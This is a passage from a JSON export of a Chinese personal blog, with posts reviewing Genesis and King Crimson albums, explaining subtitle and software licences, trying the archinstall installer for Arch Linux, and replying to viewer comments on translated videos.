Elgie\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e根据上网找到的内页,个人猜测:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e护士拿着灯:Entangled\u003c/li\u003e\n\u003cli\u003e猎人和下面的耗子:Sqounk\u003c/li\u003e\n\u003cli\u003e上面的月亮和下面的孩子们:Mad Man Moon\u003c/li\u003e\n\u003cli\u003e大盗和狡猾的绅士:Robbery, Assault and Battery\u003c/li\u003e\n\u003cli\u003e照镜子的巫婆:Ripples…\u003c/li\u003e\n\u003cli\u003e恶魔和指着他的人:A Trick of the Tail\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"关于歌曲\"\u003e关于歌曲\u003c/h2\u003e\n\u003cp\u003e这张专辑的旋律性很突出,尤其突出显示在Mad Man Moon和Entangled这两首歌中。\u003c/p\u003e\n\u003cp\u003eMad Man Moon中,Tony Banks模拟的笛声很快就能抓住我们的耳朵,而且十分婉转,基本贯穿了整首歌。虽然我没太注意歌词唱的是什么,但是这个歌曲能让我想象出一个不知为何,有一点伤心的人。Tony Banks的旋律一直是Genesis音乐在前卫摇滚时期的卖点。包括Trespass里的Vision of Angles,Lamb里的Carpet Crawl,后面Wind And Wuthering里的One for the Vine,and there were three里的Buring Ropes。不过流行时期的Genesis嘛,旋律真就没有什么特点了,只剩下力度和跳舞的动力了。\u003c/p\u003e\n\u003cp\u003eEntangled中,Steve Hackett的原声吉他弹得十分干净,十分纯洁。这应该是属于民歌的曲调,充满了西方童话的特色。同样地,这个曲调也是低回婉转的,比起那些十分重型的歌曲或是某种热门单曲(@ tictok神曲),记住这些旋律是十分享受的,而不是折磨的。Steve在Genesis里主要是承担着点缀音乐的作用,诸如Hogweed前面的快速点弦,Horizon是在上主菜前的一个插曲之类。虽然他自己的写的旋律很好,但是没人用啊,难怪他后来退队了。\u003c/p\u003e\n\u003cp\u003e说到力度,这张专辑给人的感觉很割裂。有些歌曲从头到尾都很有力,诸如Sqounk。而其他的歌曲大多十分轻松,尤其是Entangled。这点我觉得相比之前的专辑,有点不太好。Genesis前卫高峰时期的专辑都是很能把握歌曲的力度的,一首歌的力度变化是十分丰富的。比如Stagnation,前面很轻盈,中间加了点力度,后面又让人很放松,但是最后还是留有一定的力度。Cinema Show是由轻到重,逐渐加强的。然而这张专辑,大多数歌曲传递出来的力度都十分单一。尤其是Sqounk,力度变化基本上没有,而且十分急促,好像有人一直在跟你抱怨着什么,我是十分不喜欢的。在力度方面,Los Endos这个纯乐器独奏,十分多元化,个人认为是乐队通过这个独奏,告诉大家,我们的音乐依然是多元的。\u003c/p\u003e\n\u003ch2 id=\"关于内容\"\u003e关于内容\u003c/h2\u003e\n\u003cp\u003e至于专辑内容,我个人倒不是很注意,因为这张专辑的旋律性重于歌词。我除了Robbery, Assault and Battery和Ripples的内容看了一下之外,其他的没看。要不是歌曲的旋律告诉了我们(比如第一首,明显体现了乐队继续前进的决心),更多是我对看歌词不感兴趣。Robbery, Assault and Battery讲述了一个十分奇怪的故事,没太看懂歌词的我也能体会到其中的荒诞性,大致是一个大盗的胡乱自述,经常出现“老调重弹(Same old song)”这句词。而Ripples这首歌,借着水中的波纹,唱出了青春一去不反的伤感。(Marge: 你才20岁,担心啥呢:-P)歌词中的“A Thousands Ship”让我无端联想到Doors 里的The Crystal Ship,看出来女孩子心里变化的丰富(毕竟她们是不同的生物呢)。\u003c/p\u003e\n\u003ch2 id=\"关于历史地位\"\u003e关于历史地位\u003c/h2\u003e\n\u003cp\u003e这张专辑是Genesis的转折点,Genesis顺应时代的变化,精简掉歌曲中复杂的结构,将人们重视的旋律弄得十分突出。不过,他们仍然保留了很多的复杂,精巧的元素。这张专辑中,有内容上很有意思的,也有结构复杂的歌曲,也有他们继续前行的决心。下一张专辑中,则有上来就很抓耳的旋律,也有十多分钟长的器乐歌曲串烧,还有一首启发自猫和老鼠的歌曲。而在Hackett退出后,乐队有点离心,在过渡了两张专辑后,彻底转型为流行,那些歌嘛,我就不想说了。这张专辑是他们刚刚开始转型的专辑,前卫性很强,而由于他们做出的变化,让其更能为人所接受。所以,如果你们想了解前卫摇滚的话,可以先拿这张适应一下,适应后再开始你们的前卫之旅(建议拿 Yes 的 Tails of Topographic Ocans 来提升一下)。\u003c/p\u003e\n\u003cp\u003e最后,感谢南方翻译的前卫摇滚历史,最后一段的分析实际上在那个视频里面提到过。\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=5\" target=\"_blank\" rel=\"noopener\"\u003eProg Archive上面的评论\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.discogs.com/master/28748-Genesis-A-Trick-Of-The-Tail\" target=\"_blank\" rel=\"noopener\"\u003eDiscogs上面的专辑版本信息\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Af4y1F79H\" target=\"_blank\" rel=\"noopener\"\u003e本人翻译的一个介绍本专辑的纪录片\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1NZ4y1p7fM\" target=\"_blank\" rel=\"noopener\"\u003e南方翻译纪录片的片段\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"彩蛋我画的ripples封面\"\u003e彩蛋:我画的Ripples封面\u003c/h2\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/CFQrlqIWV5jDGh8.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/CFQrlqIWV5jDGh8.jpg\" loading=\"lazy\" alt=\"右面的是姐姐Remila,左面的是他的妹妹Flandre。姐姐照着魔镜,看到自己的妹妹读着Mad Hatter开的荒诞的茶会而高兴不已。虽然她们俩永远都不会老去,但是姐姐见过的太多了,对妹妹的童真无邪十分羡慕。\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e右面的是姐姐Remila,左面的是他的妹妹Flandre。姐姐照着魔镜,看到自己的妹妹读着Mad Hatter开的荒诞的茶会而高兴不已。虽然她们俩永远都不会老去,但是姐姐见过的太多了,对妹妹的童真无邪十分羡慕。\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e如果你了解东方的话,你很快就能反应过来这两个人的原型是红魔馆的两个主人。但我没有照搬吸血鬼的设定,因为我画的是人啊。还有,我觉得东方里的角色都可以拿过来,稍微修改一下设定,就能给每一首前卫歌曲画一张,这样,我们就能借着东方,宣传前卫摇滚啦。对了,我不太是东方的粉丝,目前真的只对东方里那些女孩子的个性和外观感兴趣……\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/a-trick-of-the-tail-review.html"},{"title":"我的字幕授权协议(兼各种我知道的授权协议介绍)","time":"2021-08-02T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/INzBQdJWynZbLmR.jpg\" alt=\"Featured image of post 我的字幕授权协议(兼各种我知道的授权协议介绍)\"/\u003e\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e什么,字幕还有授权协议?那当然,要不我辛辛苦苦翻译的东西总有一天会被营销号拿走:-P\u003c/p\u003e\n\u003cp\u003e先推荐给字幕作者这篇文章,虽然我的翻译明显不是这样:-P\u003c/p\u003e\n\u003cp\u003e【经验分享】从事个人翻译的几点心得 @ 某科学的小姚同志\u003c/p\u003e\n\u003cp\u003e好啦,在贴出我的协议之前,先给大家介绍几种授权协议吧:\u003c/p\u003e\n\u003ch2 id=\"copyleft-类型的协议\"\u003eCopyLeft 类型的协议\u003c/h2\u003e\n\u003cp\u003e这类协议最大的特点是,自由是被强制的。也就是说,虽然该授权协议给予你很多的权利,但是你衍生作品的授权协议也得授权给用户那么多的权利。\u003c/p\u003e\n\u003cp\u003e对于字幕呢,如果想这么办的话,CC-BY(Attribution, 署名)-ShareAlike(相同方式共享)是一个相当好的选择。\u003c/p\u003e\n\u003cp\u003e举例:《雷神之锤》引擎(id Tech 2)的授权协议是GPL v2,一个CopyLeft类型的协议。也就是说,如果你没跟原作者id公司另行签订协议的话,你写的改进版《雷神之锤》引擎(英文叫source port)必须也得是GPL v2授权,以保证这个衍生作品是自由的。我电脑里装有vkquake改进引擎,就是GPL授权的。\u003c/p\u003e\n\u003cp\u003e个人评价:这很明显干涉到了开发者的自由,因为他不能将自己的想法按照自己的想法公布。但是,对于软件来说是件好事情,因为透明性,更多人可以加入,给软件添砖加瓦。而对于我的字幕来说,如果别人翻译视频或者引用的话,因为授权协议,就得违背自己的本意开放各种细节,也不太好吧。\u003c/p\u003e\n\u003ch2 id=\"copyright类型的开源协议\"\u003eCopyRight类型的开源协议\u003c/h2\u003e\n\u003cp\u003e这种协议呢,作者保留自己应该有的权利。不过作者开发给各位用户随意处置该软件的自由。\u003c/p\u003e\n\u003cp\u003e这种协议应该是被使用最多的开源协议了,比如MIT协议,只要将该协议文本随衍生作品分发即可。对于字幕,就是CC-BY了。\u003c/p\u003e\n\u003cp\u003e举例:3Blue1Brown的作者使用自己写的Manim库做视频,该库按照他的MIT协议授权。社区在他代码的基础上维护,搞了一个社区版,按照原版的MIT协议和社区版的MIT协议授权。\u003c/p\u003e\n\u003cp\u003e还有一个例子:github上driver1998(Bilibili上是初生之鸟)做的字幕是CC-BY授权,所以,如果我要给LGR发送他做的视频字幕的话,只要在文件里写上他的名字和CC-BY授权就行了。\u003c/p\u003e\n\u003cp\u003e个人评价:这种协议十分符合我心中的开源协议,我给你们随便用,别忘了提我名字就行之类。但是,对于某些耍流氓的,恐怕就不友好了,懂得都懂。对于字幕呢,如果你不像我那么在意某些事情的话,用这种类型的吧。\u003c/p\u003e\n\u003ch2 id=\"半开源协议\"\u003e半开源协议\u003c/h2\u003e\n\u003cp\u003e这种情况比较复杂:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e作者仅仅是放出来了代码,而没给协议。\u003c/li\u003e\n\u003cli\u003e作者写了自己的开源协议,但是限制比较多,视情况而定。\u003c/li\u003e\n\u003cli\u003e对于第一种情况,如果你要对修改后的代码有进一步动作的话,理论上来说必须联系原作者。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e举例:我打包的《东方毁灭战士》就是属于没有授权协议的游戏。默认由原作者Untitled保留他所写代码的所有权利,而贴图,萌妹子之类的呢,我就不知道了。\u003c/p\u003e\n\u003cp\u003e对于第二种情况,那就看吧。像Anti996协议这种,照办即可。要是诸如限制商业用途,必须喜欢Maggie Simpson等情况的话,在某种程度上也得联系原作者了。\u003c/p\u003e\n\u003cp\u003e举例:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e金源引擎是开源的,但是Valve的授权协议禁止未经允许的商用。\u003c/li\u003e\n\u003cli\u003eKen Sliverman 给自己的 BUILD 引擎写了一个授权,也是禁止未经允许的商用,而且还要求使用者尽量明智地自己解决阅读代码中遇到的问题,他可能没有时间一一回复。\u003c/li\u003e\n\u003cli\u003eHeretic和Hexen的代码开源的时候,授权是动视的EULA,导致开源社区根本没法在项目中使用。后来在社区的强烈要求下,代码的授权在2008年的时候改成了GPLv2。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e个人评价:如果你对有些事情有些看法的话,可以试试这种类型的。不过你得自己写一个,一般魔改MIT协议是一个省力的好办法。\u003c/p\u003e\n\u003cp\u003e我的字幕授权一开始是CC0+Anti996授权,后来我对之前遇到过的两次官方视频翻译组出现的一些问题(8bitguy天降机翻正义事件和Chub翻译组组长跑路事件)有点在意,所以自己写了一个。先耐下心,最后再给大家贴出来。\u003c/p\u003e\n\u003ch2 id=\"闭源协议\"\u003e闭源协议\u003c/h2\u003e\n\u003cp\u003e这是大家遇到最多的协议了,一般条款苛刻,而且十分倾向开发者的利益。站在文化的交流和自由的角度,我绝对不推荐任何人使用这种协议。不过你用了我也管不着,你的自由啊:-)\u003c/p\u003e\n\u003cp\u003e有一个特例是Everything,他的二进制文件是MIT授权,而原作者没有公布代码。\u003c/p\u003e\n\u003cp\u003e而字幕嘛……我觉得根本无法闭源啊,只要视频在,总能读出来的嘛。\u003c/p\u003e\n\u003ch2 id=\"公有领域\"\u003e公有领域\u003c/h2\u003e\n\u003cp\u003e这种东西呢,是作者放弃所有权利的产物。字幕方面,我是绝对不会推荐使用这个协议的。软件代码就看着办吧,我的作业代码就是公有领域的。\u003c/p\u003e\n\u003ch2 id=\"我的协议\"\u003e我的协议\u003c/h2\u003e\n\u003cp\u003e好了,该把我的协议贴出来了。去我网页看吧。\u003c/p\u003e\n\u003cp\u003e谢谢阅读。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/my-license-introduction.html"},{"title":"archinstall 初体验 (省流文字版)","time":"2021-05-01T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/2UrIqVcRG3YiECJ.jpg\" alt=\"Featured image of post archinstall 初体验 (省流文字版)\"/\u003e\u003cp\u003e再编辑版注:鉴于该软件在我回顾的时候,已经有所改变,故这里不放出所有贴图。各位想了解的话,看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Archinstall\" target=\"_blank\" rel=\"noopener\"\u003e这个链接\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e继2012年Arch Linux弃用了安装器之后,在今年的4月1日,官方发布了全新的安装器,不过仍在实验阶段。今天我来体验一下。视频版在此,不建议不开倍速观看:\u003cbr/\u003e\n\n\n\n\n\n\n \n\n\n\u003c/p\u003e\u003cdiv class=\"video-wrapper\"\u003e\n \u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026amp;bvid=BV1GA41157XK\" scrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n \u003c/iframe\u003e\n\u003c/div\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"步骤\"\u003e步骤\u003c/h2\u003e\n\u003cp\u003e首先,搞到一个2021-04-01及之后版本的Arch Linux安装镜像,启动后在命令行下输入\u0026#34;archinstall\u0026#34;命令即可运行该安装程序。\u003cbr/\u003e\n首先出现的是键盘布局选择界面,这里在20(UK)和21(US)之间选择,UK布局较US多了一些法文字母,这样就可以打出café, coup d’etat这样的在英语中使用的法文词汇了。\u003cbr/\u003e\n之后我们可以选择从哪里的服务器下载软件包,较传统的安装方式,这个可以说是方便了不少。原来的安装方式是执行个测速工具,或是直接修改mirrorlist。\u003cbr/\u003e\n然后可以选择安装进的硬盘,还能选择是否覆盖安装等,不过没有分区工具选项,只能使用一个默认的分区方案,分区为/boot和根目录(该工具仅支持UEFI):-\\\u003cbr/\u003e\n选择硬盘后,选择分区文件系统,除了ext4外我一无所知。这里有一个给磁盘加密的选项,挺好的。Houge_Langley@Bilibili 做了几期视频介绍,链接附下。\u003cbr/\u003e\n分区配置完毕后,这里设置电脑名称,超级用户密码,添加用户。这里有两个亮点:提示不设置超级用户密码的话,会禁用超级管理员用户(虽然Linux都这样,但在这里提示也是件好事);还有赋予新用户超级管理权限(比visudo好用多了)。\u003cbr/\u003e\n安装工具新提供了安装桌面环境,显卡驱动等选项,目前没有xfce,mate,lxde等:-| 至于为啥没有gnome-wayland,gnome默认为wayland。\u003cbr/\u003e\n对了,archinstall是一个框架,任何会用python的人都可以用它写自己的安装脚本。\u003cbr/\u003e\n我们还可以添加其他的安装包,这里我安装了两个Virtualbox客户机的模块。\u003cbr/\u003e\n然后程序给出了一个总结,总觉得应该写成一个让人好明白的东西,而不是这个类似bash的配置文件。注意没有引导程序选择,因为只能选择systemd-boot,侧面体现其仍在开发。\u003cbr/\u003e\n\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/h9Mpb6UzmPQ1nrF.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/h9Mpb6UzmPQ1nrF.png\" loading=\"lazy\" alt=\"最后总结页面\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e最后总结页面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n最后重启后,根据我选择的GNOME环境,程序安装并配置好了,不过VBOX增强工具没有激活,需要在上述安装完成后arch-chroot一下。\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"小结\"\u003e小结\u003c/h2\u003e\n\u003cp\u003e这个工具目前处于一个鸡肋的状态。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e这个工具比较不透明,我不知道选择某个选项后会出现什么结果。执行时默认也没有比较详细的信息。\u003c/li\u003e\n\u003cli\u003e他十分不灵活,选项就那几个,我只能限制在他给的选项方面选择,而不能自己决定一些东西,尤其是分区方面。\u003c/li\u003e\n\u003cli\u003e要想有自己的需求的话,安装完有些东西还得去arch-chroot输命令,我既然要输入命令的话,为啥不从头到尾都在输命令呢:-\\\u003c/li\u003e\n\u003cli\u003e对于小白的话,根据官方安装指南安装的话,至少能对Linux系统某些基本的东西(诸如分区,网络配置,软件管理等)有一定的了解,而这个东西我觉得不太能像安装指南一样起到这样的作用吧。\u003c/li\u003e\n\u003cli\u003e当然,这个安装程序可以自己写python脚本来配置。对于有定制需求的人来说,是件好事。但对于我这种有需求,但是技术不到位的人来说,就不太好了,还是走官方流程吧。\u003c/li\u003e\n\u003cli\u003e对于只是拿这个装13的人来说,只要英文过关的话,还挺方便的呢(bushi\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e当然,官方也在积极改进这个软件,希望将来能够更加好用吧。也希望成熟的那一天,纯输命令的安装方式还能存在。\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1BZ4y1G7ie\" target=\"_blank\" rel=\"noopener\"\u003eHouge_Langley 采访 felixonmars\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1s5411N7qN\" target=\"_blank\" rel=\"noopener\"\u003eHouge_Langley 在 ZFS 上面装 Arch Linux\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1X7411K7fo\" target=\"_blank\" rel=\"noopener\"\u003e老莱给大家介绍Linux的十大优越之处!\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/experience-of-archinstall.html"},{"title":"King Crimson - Islands 听后感","time":"2021-02-27T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/CZijR4n5OoP9rtL.jpg\" alt=\"Featured image of post King Crimson - Islands 听后感\"/\u003e\u003cp\u003e在1969年King Crimson发表了富有创造性的首专之后,由于各乐队成员间之间创作理念的不同,乐队分崩离析。在短短两年内产生了三张不同风格的专辑。其中第二张In the Wake of Posidon与首专过于相像,虽然好听,但是缺少创意;第三张Lizard难以让我接受,主要是其中Peter Sinfield营造的轻浮气息。而今天我要给大家介绍的第四张专辑,Island,虽然实验性是这几张中最差的,概念性也不怎么好,但是可欣赏度是这几张中最好的。\u003c/p\u003e\n\u003cp\u003e这张专辑仅有的实验性部分,就是吹奏乐器的大部分使用,虽然在前一张专辑中已经这样了,但是鉴于上一专的轻浮和乐队成员间的合作不愉快,我觉得效果不如这个好。这点尤其在The Letters中明显体现了出来。在The Letters中,在情人给妻子写下了毒舌信后,上来的萨克斯沉重有力,与前面平静的声音形成了鲜明的对比,体现了情人收到信后沉重无比的心。之后的萨克斯演奏逐渐由混乱到平静和坚定,体现了妻子的伤心难受和之后的坚强面对。在这首歌中,萨克斯的吹奏对这首歌气氛的渲染有十分明显的影响。而在其他歌曲中,吹奏乐器更是音乐中不可或缺的一部分,无论是Song of Gulls中悠扬的长笛,Sailor’s Tail中萨克斯代表着大风,还是Islands中长号的尾奏,都让我印象深刻。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/1rE32pjTftclLan.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/1rE32pjTftclLan.jpg\" loading=\"lazy\" alt=\"最左面的两张图片就是吹奏家Mel Collins,King Crimson混乱时期音乐的中流砥柱。最上面的是Robert Fripp,最右面的是Peter Sinfield,最下面的是Ian Wallace,剩下的照片是Boz Burrell\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e最左面的两张图片就是吹奏家Mel Collins,King Crimson混乱时期音乐的中流砥柱。最上面的是Robert Fripp,最右面的是Peter Sinfield,最下面的是Ian Wallace,剩下的照片是Boz Burrell\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e当然,除了我上面说到的,Sailor’s Tail精妙的结构和Song of Gulls的古典化和弦之外,我在这张专辑中很难找到其他的实验性特点了,这对于一张前卫摇滚专辑而言,是不合格的。第一首Formentera Lady就是两个贝斯音符的重复为底,再点缀些令人放松的乐器。而Ladies of the Road基本上就是词作者Peter Sinfield泡妞体验的综合,再加上Robert Fripp和弦,然后直接塞给你了,我是真不喜欢。最后的压轴曲,Island,基本上就是主旋律用各种乐器重复演奏,听多了容易审美疲劳。相比较而言,Lizard虽然我十分讨厌,但不得不承认,单凭最后一首23分钟的史诗,它的实验性也比这张强。\u003c/p\u003e\n\u003cp\u003e说到Robert Fripp,我觉得他这张专辑有点不在状态。首先是将自己之前写的歌曲和弦改编一下就用了。举例来说,Song of the Gulls改编自Robert Fripp于1968写的Suite No.1,那时他还在Giles, Giles \u0026amp; Fripp里面打杂手。然后就是Sailor’s Tail结尾的扫弦,因为他当时巡演累坏了,实在是想不出该弹啥了。还有就是与乐队真正的领头人Peter Sinfield在创作上的矛盾,导致他基本不和其他乐队成员来往了,最后一通电话,解散了乐队。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/4BJ8UeCKk1Gnpr2.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/4BJ8UeCKk1Gnpr2.jpg\" loading=\"lazy\" alt=\"还有一点,就是Robert Fripp这个人太正经。你看看其他人,性格是多么活泼啊。女孩子喜欢幽默活泼的人。所以说Fripp应该十分羡慕其他人能和女孩子谈笑风生吧\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e还有一点,就是Robert Fripp这个人太正经。你看看其他人,性格是多么活泼啊。女孩子喜欢幽默活泼的人。所以说Fripp应该十分羡慕其他人能和女孩子谈笑风生吧\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e在这张专辑中,我还要说出一点我很不理解的事情,就是这张专辑整体的概念设计。上一张专辑主要是描述英国资产革命期间的保皇派领袖Prince Rupert的英勇战斗。而这回话锋一转,我们来到了温暖的热带群岛,远处的帆船经过与风暴的搏斗后,疲惫地停落在此。夕阳西下,海鸥翱翔,我们在海浪的拍打声中逐渐入眠。这张专辑的概念,要我说,也太不前卫了吧。首专和二专的主题是反战和对现代社会的反思,三专的主题是中世纪和冒险,都体现了词作者Peter Sinfield的家国情怀和历史底蕴。难道在反战运动结束以后,Sinfield去某个热带岛屿度个假之后,整个人就散漫下来了?但不得不说,就这种烂大街的主题,经由乐队的合力协作,再加上仅有的一点实验性,听感在我看来,是最好的。也是我觉得,最能让普罗大众接受的一张King Crimson专辑了吧。所以我说,这张专辑的可欣赏度是这几张中最好的。\u003c/p\u003e\n\u003cp\u003e总体而言,虽然这张专辑实验性不强,概念上又很简单,但是我还是很喜欢这张专辑的。浪漫,轻松,又很好理解。对于现在处于加速过度社会的我们而言,也许这张慢节奏的专辑能我们在短短的44分钟内来个海南一周游,好好放松一下。\u003c/p\u003e\n\u003cp\u003e说到海南一周游,还有一件事。我不想开学啊!!!\u003c/p\u003e\n\u003cp\u003e推荐链接:\u003cbr/\u003e\n\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=1906\" target=\"_blank\" rel=\"noopener\"\u003eProg Archive上的评论\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.discogs.com/master/436-King-Crimson-Islands\" target=\"_blank\" rel=\"noopener\"\u003eDiscogs上面的专辑版本信息\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1NZ4y1p7fM\" target=\"_blank\" rel=\"noopener\"\u003e南方翻译的纪录片片段\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/islands-review.html"},{"title":"过年了,给大家回复弹幕,然后瞎扯两句","time":"2021-02-12T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/OxMmK6yZD9vE2Xu.png\" alt=\"Featured image of post 过年了,给大家回复弹幕,然后瞎扯两句\"/\u003e\u003cp\u003e一般我会在评论区给大家回复交流,但是弹幕就没法给大家回复了,因此,趁今天过年,我给大家统一回复一下,顺便瞎扯两句。\u003cbr/\u003e\n在此之前,首先,感谢大家在弹幕中对我字幕中的错误做出指正。其次,感谢在弹幕中分享知识的人。\u003c/p\u003e\n\u003ch2 id=\"第一个老先生的本性释放时间建议自行震撼\"\u003e第一个:老先生的本性释放时间(建议自行震撼)\u003c/h2\u003e\n\u003cp\u003e【熟肉】震惊,Robert Fripp居然弹起了齐柏林飞艇\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eDiment@Bilibili: 可怜又无助的Fripp……\u003cbr/\u003e\n回复: Fripp:我的媳妇,我管不住啊!\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e说到Fripp的释放本性,你们可以听听Island专辑中的Ladies on the Road。先不说大色狼Peter Sinfield写的歌词,先是开头Fripp的吉他滑音,就让我觉得这首歌绝对不是什么正经歌曲。后来唱歌的时候,Fripp的吉他也是被迫地极尽调戏本性。辛亏后来Mel Collins的吹奏乐器给Fripp救了场,要不Fripp演半截就要走人了,歌曲的后半部分我很难听到吉他的声音了。\u003cbr/\u003e\n不过说真的,如果你们喜欢King Crimson的话,你们可以 @南方History,他上传了很多关于King Crimson的视频,还有一个专业乐评。\u003c/p\u003e\n\u003ch2 id=\"第二个某个疯子花了一个小时装了一台废铁这是我爸说的\"\u003e第二个:某个疯子花了一个小时装了一台废铁(这是我爸说的)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR - 攒一台486 DOS电脑!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e原字幕:And since ever the dawn of time, in fact, I think those 2032s predate humanity.\u003cbr/\u003e\n这里大概就是开玩笑说CR2032这玩意存在很久了甚至在史前没有人类的时候就出现了hhhhhhh\u003cbr/\u003e\n回复:谢谢 whc2001 的注解,其实LGR的视频很多话我都不太明白,而且他的语速还贼快。\u003c/p\u003e\n\u003cp\u003e原字幕:“Have you seen these faces?” My God.\u003cbr/\u003e\n翻译为:“你见过他们吗?” 这波吟唱lttstore.com\u003cbr/\u003e\n@Linus Tech Tips\u003cbr/\u003e\n回复:Linus没有给我广告费。另外,我觉得自从疫情以来,LTT有点不太好过。现在LTT必须有一段请求关注和周边广告,而且有些赞助视频质量不太好(不包括 活 笑 料 )\u003cbr/\u003e\n回顾:现在的LTT,还是安东尼好。\u003c/p\u003e\n\u003cp\u003e那时候还没有通道这个概念随便插的嘛?\u003cbr/\u003e\n我上网查了一下,这个应该是EDO内存,而通道内存的概念得DDR出现了吧,那都1998年了吧。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e这个视频我喜欢的地方是后面调试软件的部分,可是我查看后台发现大家更喜欢前面的动手部分,我可能折腾软件太多了吧(毕竟我不是飘哥,他从小学开始就玩硬件)。\u003cbr/\u003e\n另外,这个是Bilibili上第二个,也是第一个被广泛关注的LGR视频(第一个是BV1Js411v7o1,讲的是MO磁光盘)。第一个熟肉LGR视频是由蟒人摸象翻译的,而播放量最多的LGR熟肉是由初生之鸟翻译的。\u003cbr/\u003e\n我是在高二暑假时看到了很多这样的视频,我第一个关注的是David Murray。(有意思的是,前The8-BitGuy授权翻译HikariCalyx,能解锁诺基亚),然而我是在高考完之后才开始翻译视频的。而这个视频也大幅提高了我的关注度,某科学的小姚同志和pingatsky等搬运工也邀请我加入了翻译工大家庭,从此走上了翻译视频的不归路:-)所以,感谢这个平台和所有帮助我,关注并支持我的人吧。\u003c/p\u003e\n\u003ch2 id=\"第三个john-carmark-yyds因为他开放了doom源代码\"\u003e第三个:John Carmark yyds(因为他开放了DOOM源代码)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR游戏评测 - 就算过了几十年,《毁灭战士》还是好游戏!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e1.最简单难度:我这么年轻就想死(I’m too young to die)\u003cbr/\u003e\n2.不要太嚣张了(Not too Rough)\u003cbr/\u003e\n3.痛打我吧!(Hurt me 